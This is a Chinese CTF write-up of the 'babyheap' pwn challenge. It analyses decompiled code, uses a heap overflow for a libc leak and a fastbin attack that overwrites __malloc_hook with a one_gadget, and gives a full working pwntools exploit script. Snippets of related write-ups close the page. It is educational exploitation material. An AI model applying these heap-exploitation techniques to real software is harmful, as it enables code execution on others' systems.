babyheap

64位程序,保护全开   #fastbin attack

程序逻辑

 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
 2 {
 3   __int64 v4; // [rsp+8h] [rbp-8h]
 4
 5   v4 = sub_B70(a1, a2, a3);
 6   while ( 1 )
 7   {
 8     printmenu();
 9     sub_138C();
10     switch ( (unsigned __int64)off_14F4 )
11     {
12       case 1uLL:
13         allocnote(v4);
14         break;
15       case 2uLL:
16         fillnote(v4);
17         break;
18       case 3uLL:
19         freenote(v4);
20         break;
21       case 4uLL:
22         dumpnote(v4);
23         break;
24       case 5uLL:
25         return 0LL;
26       default:
27         continue;
28     }
29   }
30 }

分配函数如下,最多分配16个,最大4096字节,用的calloc,会将内存清空为0,。

 1 void __fastcall allocnote(__int64 a1)
 2 {
 3   signed int i; // [rsp+10h] [rbp-10h]
 4   signed int v2; // [rsp+14h] [rbp-Ch]
 5   void *v3; // [rsp+18h] [rbp-8h]
 6
 7   for ( i = 0; i <= 15; ++i )
 8   {
 9     if ( !*(_DWORD *)(24LL * i + a1) )
10     {
11       printf("Size: ");
12       v2 = read_num();
13       if ( v2 > 0 )
14       {
15         if ( v2 > 4096 )
16           v2 = 4096;
17         v3 = calloc(v2, 1uLL);
18         if ( !v3 )
19           exit(-1);
20         *(_DWORD *)(24LL * i + a1) = 1;
21         *(_QWORD *)(a1 + 24LL * i + 8) = v2;
22         *(_QWORD *)(a1 + 24LL * i + 16) = v3;
23         printf("Allocate Index %d\n", (unsigned int)i);
24       }
25       return;
26     }
27   }
28 }

可以看出结构体如下

1 00000000 chunk           struc ; (sizeof=0x18, mappedto_6)
2 00000000 inuse           dq ?
3 00000008 size            dq ?
4 00000010 ptr             dq ?
5 00000018 chunk           ends

在填充内容的功能中,使用读取内容的函数是直接读取指定长度的内容,并没有设置字符串结尾。而且比较有意思的是,这个指定长度是我们指定的,并不是之前 chunk 分配时指定的长度,所以这里就出现了任意堆溢出的情形。

 1 __int64 __fastcall fillnote(__int64 a1)
 2 {
 3   __int64 result; // rax
 4   int v2; // [rsp+18h] [rbp-8h]
 5   int v3; // [rsp+1Ch] [rbp-4h]
 6
 7   printf("Index: ");
 8   result = sub_138C();
 9   v2 = result;
10   if ( (signed int)result >= 0 && (signed int)result <= 15 )
11   {
12     result = *(unsigned int *)(24LL * (signed int)result + a1);
13     if ( (_DWORD)result == 1 )
14     {
15       printf("Size: ");
16       result = sub_138C();
17       v3 = result;
18       if ( (signed int)result > 0 )
19       {
20         printf("Content: ");
21         result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
22       }
23     }
24   }
25   return result;
26 }

freenote模块中没有问题

 1 signed __int64 __fastcall freenote(__int64 a1)
 2 {
 3   signed __int64 result; // rax
 4   int v2; // [rsp+1Ch] [rbp-4h]
 5
 6   printf("Index: ");
 7   result = sub_138C();
 8   v2 = result;
 9   if ( (signed int)result >= 0 && (signed int)result <= 15 )
10   {
11     result = *(unsigned int *)(24LL * (signed int)result + a1);
12     if ( (_DWORD)result == 1 )
13     {
14       *(_DWORD *)(24LL * v2 + a1) = 0;
15       *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
16       free(*(void **)(24LL * v2 + a1 + 16));
17       result = 24LL * v2 + a1;
18       *(_QWORD *)(result + 16) = 0LL;
19     }
20   }
21   return result;
22 }

dump即输出内容

利用思路

可以确定的是,我们主要有的漏洞就是任意长度堆溢出。由于该程序几乎所有保护都开启了,所以我们必须要有一些泄漏才可以控制程序的流程。基本利用思路如下

  • 利用 unsorted bin 地址泄漏 libc 基地址。
  • 利用 fastbin attack 将 chunk 分配到 malloc_hook 附近

首先看获取libc基地址的方法:
首先应该记住这样一条规律:当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena的0x58偏移处,而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了

由于我们是希望使用 unsorted bin 来泄漏 libc 基地址,所以必须要有 chunk 可以被链接到 unsorted bin 中,所以该 chunk 不能是fastbin chunk,也不能和 top chunk 相邻。因为前者会被添加到 fastbin 中,后者在不是 fastbin 的情况下,会被合并到 top chunk 中。因此,我们这里构造一个 small bin chunk。在将该 chunk 释放到 unsorted bin 的同时,也需要让另外一个正在使用的 chunk 可以同时指向该 chunk 的位置。这样才可以进行泄漏。、

首先,我们申请了 5 个 chunk,并释放了两个 chunk,此时堆的情况如下。

 1 pwndbg> x/20gx 0x55a03ca22000
 2 0x55a03ca22000: 0x0000000000000000  0x0000000000000021 idx 0
 3 0x55a03ca22010: 0x0000000000000000  0x0000000000000000
 4 0x55a03ca22020: 0x0000000000000000  0x0000000000000021 idx 1
 5 0x55a03ca22030: 0x0000000000000000  0x0000000000000000
 6 0x55a03ca22040: 0x0000000000000000  0x0000000000000021 idx 2
 7 0x55a03ca22050: 0x000055a03ca22020  0x0000000000000000
 8 0x55a03ca22060: 0x0000000000000000  0x0000000000000021 idx 3
 9 0x55a03ca22070: 0x0000000000000000  0x0000000000000000
10 0x55a03ca22080: 0x0000000000000000  0x0000000000000091 idx 4
11 0x55a03ca22090: 0x0000000000000000  0x0000000000000000
12 pwndbg> fastbins
13 fastbins
14 0x20: 0x55a03ca22040 —? 0x55a03ca22020 ?— 0x0
15 0x30: 0x0
16 0x40: 0x0
17 0x50: 0x0
18 0x60: 0x0
19 0x70: 0x0
20 0x80: 0x0

当我们编辑 idx0 后,确实已经将其指向 idx4 了。这里之所以可以成功是因为堆的始终是 4KB 对齐的,所以 idx 4 的起始地址的第一个字节必然是 0x80。

修改成功后

 1 pwndbg> x/20gx 0x55a03ca22000
 2 0x55a03ca22000: 0x0000000000000000  0x0000000000000021
 3 0x55a03ca22010: 0x6161616161616161  0x6161616161616161
 4 0x55a03ca22020: 0x0000000000000000  0x0000000000000021
 5 0x55a03ca22030: 0x0000000000000000  0x0000000000000000
 6 0x55a03ca22040: 0x0000000000000000  0x0000000000000021
 7 0x55a03ca22050: 0x000055a03ca22080  0x0000000000000000
 8 0x55a03ca22060: 0x0000000000000000  0x0000000000000021
 9 0x55a03ca22070: 0x0000000000000000  0x0000000000000000
10 0x55a03ca22080: 0x0000000000000000  0x0000000000000091
11 0x55a03ca22090: 0x0000000000000000  0x0000000000000000
12 pwndbg> fastbins
13 fastbins
14 0x20: 0x55a03ca22040 —? 0x55a03ca22080 ?— 0x0
15 0x30: 0x0
16 0x40: 0x0
17 0x50: 0x0
18 0x60: 0x0
19 0x70: 0x0
20 0x80: 0x0

那么,当我们再次申请两个时,第二个申请到的就是 idx 4 处的 chunk。为了能够申请成功,我们需要确保 idx4 的 size 与当前 fastbin 的大小一致,所以,我们得修改它的大小。申请成功后,idx2 会指向 idx4。

之后,如果我们想要将 idx 4 放到 unsorted bin 中的话,为了防止其与 top chunk 合并,我们需要再次申请一个 chunk。此后再释放 idx4 就会进入 unsorted bin 中去了。此时由于 idx2 也指向这个地址,所以我们直接展示他的内容就可以得到 unsorted bin 的地址了。

malloc hook前利用字节错位伪造size,伪造0x60+0x10的chunk,fastbin中的chunk的fd改为fake_adr,下一次分配即分配fake_adr

由于 malloc hook 附近的 chunk 大小为 0x7f,所以数据区域为 0x60(根据以下表计算)。这里我们再次申请的时候,对应 fastbin 链表中没有相应大小 chunk,所以根据堆分配器规则,它会依次处理 unsorted bin 中的 chunk,将其放入到对应的 bin 中,之后会再次尝试分配 chunk,因为之前释放的 chunk 比当前申请的 chunk 大,所以可以从其前面分割出来一块。所以 idx2 仍然指向该位置,那么我们可以使用类似的办法先释放申请到的 chunk,然后再次修改 fd 指针为 fake chunk 即可。此后我们修改 malloc_hook 处的指针即可得到触发 onegadget。

 1         fastbin大小 64位下0x20-0x80(包括头部)
 2         (size不包括头部的0x10如下)
 3         Fastbins[idx=0, size=0x10]
 4         Fastbins[idx=1, size=0x20]
 5         Fastbins[idx=2, size=0x30]
 6         Fastbins[idx=3, size=0x40]
 7         Fastbins[idx=4, size=0x50]
 8         Fastbins[idx=5, size=0x60]
 9         Fastbins[idx=6, size=0x70]
10
11         根据size计算index :define fastbin_index(sz)               ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
12         64位SIZE_SZ=8
13         32位SIZE_SZ=4
14         例:     64位下 size=0x7f(包含头部)
15             index= (0x7f>>4)-2=5

exploit

 1 from pwn import *
 2 sh=process(‘./babyheap‘)
 3 elf=ELF(‘./babyheap‘)
 4 libc=ELF(‘/lib/x86_64-linux-gnu/libc.so.6‘)
 5
 6 def newnote(size):
 7     sh.recvuntil(‘Command: ‘)
 8     sh.sendline(‘1‘)
 9     sh.recvuntil(‘Size: ‘)
10     sh.sendline(str(size))
11
12 def freenote(idx):
13     sh.recvuntil(‘Command: ‘)
14     sh.sendline(‘3‘)
15     sh.recvuntil(‘Index: ‘)
16     sh.sendline(str(idx))
17
18 def dumpnote(idx):
19     sh.recvuntil(‘Command: ‘)
20     sh.sendline(‘4‘)
21     sh.recvuntil(‘Index: ‘)
22     sh.sendline(str(idx))
23
24 def fillnote(idx,size,content):
25     sh.recvuntil(‘Command: ‘)
26     sh.sendline(‘2‘)
27     sh.recvuntil(‘Index: ‘)
28     sh.sendline(str(idx))
29     sh.recvuntil(‘Size: ‘)
30     sh.sendline(str(size))
31     sh.recvuntil(‘Content: ‘)
32     sh.sendline(content)
33
34 newnote(0x10) #idx0
35 newnote(0x10) #idx1
36 newnote(0x10) #idx2
37 newnote(0x10) #idx3
38 newnote(0x80) #idx4
39 freenote(1)
40 freenote(2)
41
42 payload=p64(0)*3
43 payload+=p64(0x21)
44 payload+=p64(0)*3
45 payload+=p64(0x21)
46 payload+=p8(0x80)
47 fillnote(0,len(payload),payload)
48
49 payload=p64(0)*3
50 payload+=p64(0x21)
51 fillnote(3,len(payload),payload) #修改大小满足fastbin ,之后申请使idx2也指向idx
52
53 newnote(0x10)   #idx1
54 newnote(0x10)  #idx2,idx4指向的同一地址
55
56 payload=p64(0)*3
57 payload+=p64(0x91)
58 fillnote(3,len(payload),payload) #修改回原来大小,释放进入unsorted bin
59
60 newnote(0x80) #防止idx4和top chunk合并 idx5
61 freenote(4) #idx4 进入unsorted bin,fd,bk指向main_arena+0x58
62 dumpnote(2) #输出main_arena+0x58
63 sh.recvuntil(‘Content: \n‘)
64 ret=sh.recvline()[:-1]
65
66 main_arena_off=0x3c4b20 #gdb可以直接查看
67
68 libc_base=u64(ret[-8:].ljust(8,‘\x00‘))-0x58-main_arena_off
69 print ‘libc_base: ‘+hex(libc_base)
70
71 malloc_hook=libc.symbols[‘__malloc_hook‘]+libc_base
72 print ‘malloc_hook: ‘+hex(malloc_hook)
73
74 newnote(0x60) #idx4
75 freenote(4)
76
77 fake_adr=0x3c4aed    #此处伪造大小为(0x60+0x10)的chunk
78 payload=p64(libc_base+fake_adr)
79 fillnote(2,len(payload),payload) #将idx的fd改为fake_adr,下下次申请内存时分配fake_adr
80
81 newnote(0x60) #idx4
82 newnote(0x60) #idx6  指向fake_adr处
83
84 one_gadget=0x4526a
85 payload=p8(0)*3
86 payload+=p64(0)*2
87 payload+=p64(libc_base+one_gadget)
88 fillnote(6,len(payload),payload)   #将__malloc_hook地址改为one_gadget
89
90 newnote(255)  #触发
91
92 sh.interactive()

原文地址:https://www.cnblogs.com/pfcode/p/10733554.html

时间: 2024-10-19 01:05:10

babyheap的相关文章

bctf-2017-babyuse

看到这个题目,我就想起了0CTF被babyheap支配的恐惧233. 在sub_12CE函数中存在两个漏洞,一个是任意地址读,一个是UAF漏洞,所以我的思路是先泄露全局变量stdin中的值,从而计算出libc基址,然后触发UAF漏洞,跳到libc中one gadget的地址,直接起来一个shell. 由于程序开了PIE,所以需要爆破程序基址,32位程序也挺容易爆破的. from pwn import * DEBUG = 0 one_gadget = 0x3ac69 def buy(size, n

0ctf2018 pwn

前言 对 0ctf2018 的 pwn 做一个总结 正文 babystack 漏洞 非常直接的 栈溢出 ssize_t sub_804843B() { char buf; // [esp+0h] [ebp-28h] return read(0, &buf, 0x40u); } 这个题的难点在于 用 python 启动了该程序同时过滤了 stdout 和 stdout #!/usr/bin/python -u # encoding: utf-8 from pwn import * import r

0ctf2017-babyheap

前言 又是一道令人怀疑人生的 baby 题. 这道题利用思路非常巧妙,通过 堆溢出 和 fastbin 的机制构造了 information leak, 然后通过 fastbin attack 可以读写 malloc_hook , 然后使用 one_gadget 来 getshell. 题目和 idb 文件:https://gitee.com/hac425/blog_data/tree/master/babyheap 正文 程序涉及的结构体 info 的结构如下,可以通过 allocate 功能

Roarctf 几道pwn 复现

1.easy_pwn 可以利用的点: __int64 __fastcall sub_E26(signed int a1, unsigned int a2) { __int64 result; // rax if ( a1 > (signed int)a2 ) return a2; if ( a2 - a1 == 10 ) LODWORD(result) = a1 + 1; else LODWORD(result) = a1; return (unsigned int)result; } 然后 覆

babyheap_fastbin_attack

babyheap_fastbin_attack 首先检查程序保护 保护全开.是一个选单系统 分析程序 void new() { int index; // [rsp+0h] [rbp-10h] signed int size; // [rsp+4h] [rbp-Ch] void *ptr; // [rsp+8h] [rbp-8h] for ( index = 0; index <= 63; ++index ) { if ( !*((_DWORD *)&flag + 4 * index) )

babyheap_0ctf_2017 堆技巧 fastbin-attack

目录 常规检查 逆向分析 Allocate 函数 Fill 函数 Free 函数 Dump 函数 利用思路 利用过程 get flag exp 脚本 内容来源 常规检查 逆向分析 ??程序有四个功能 Allocate:分配内存大小并给出 index Fill:输入 index ,并分配内存进行内容写入操作 Free:输入 index ,释放相应的内存空间 Dump:输入 index ,打印内容 Allocate 函数 分配的大小不能超过 4096 字节 (24LL i + a1):置 1 表示